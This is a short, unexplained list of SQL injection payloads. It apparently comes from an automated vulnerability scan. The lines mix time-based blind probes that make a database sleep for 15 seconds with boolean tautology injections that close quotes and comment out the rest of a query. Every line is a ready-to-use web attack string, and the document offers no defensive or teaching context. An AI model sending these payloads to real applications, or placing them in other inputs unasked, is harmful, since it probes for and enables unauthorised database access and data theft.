1

if(now()=sysdate(),sleep(15),0)

-1 OR 2+121-121-1=0+0+0+1

-1 OR 2+629-629-1=0+0+0+1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1' OR 2+491-491-1=0+0+0+1 --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1' OR 2+520-520-1=0+0+0+1 --

-1' OR 2+682-682-1=0+0+0+1 or 'fa1kVFfx'='

-1' OR 2+887-887-1=0+0+0+1 or 'C7mZM5Hm'='

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/